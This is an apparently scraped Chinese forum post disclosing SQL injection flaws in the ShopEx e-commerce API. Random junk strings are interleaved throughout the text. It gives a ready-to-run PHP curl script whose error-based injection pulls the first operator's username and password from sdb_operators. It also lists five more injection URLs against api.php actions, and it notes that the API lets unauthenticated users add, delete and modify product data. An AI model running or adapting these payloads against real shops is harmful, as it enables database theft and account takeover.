|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
( n& C/ w0 D1 l- B; g& P: icore\api\payment\1.0\api_b2b_2_0_payment_cfg.php
9 u7 a, a+ Q& n4 X# j+ O; R6 _" v0 {* d2 N C
第44行 $data['columns'] 未做过滤导致注入
; b7 W$ q Y- f) M" K+ |3 M
2 Z; z# G0 z' h<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入./ Y5 j/ L# X6 v8 T" g1 k$ w
4 } \/ \' c6 B% ~0 c, g! p2 Y注射1:. M, _5 J5 S# D2 O0 K I0 w
1 ^2 K0 { X( i* X2 ]# ~ @9 ]http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
7 M; J; _9 P: ^ x, v, ^# m
: h' W8 {3 W4 y* q; f注射2:: z! h/ l3 d# s1 I# w% }, l& G
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
$ O! f$ j% u# c! O b& P
6 i7 d, |) o" L3 i6 g注射3:
& u, |+ Y% k& {7 i; W! y http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
6 L4 g @3 h |- k8 I' |注射4:7 p2 o) G) R0 ~- {" c" K, {0 w
( R6 w. i8 Z" H4 v. dhttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=17 v* V1 o- a7 y6 Y( C: O
7 z1 ^3 A2 o9 f2 h( W/ y U. u1 ^9 C& Z, a
注射5:
, R+ p6 ^/ e; d4 h2 s http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx6 I+ _8 K9 F$ Z! P) H i7 j
- \ e. z" Y( }( m/ W3 X
# G9 x' ]$ `8 N8 t5 _6 t9 q( q
! U6 e4 k( A6 X' J5 U8 H, P. _
1 z% }5 C$ H3 p: I' P2 I
* i* Z% w) R( P3 t- E% t
1 H$ _) ]" c+ ] |
|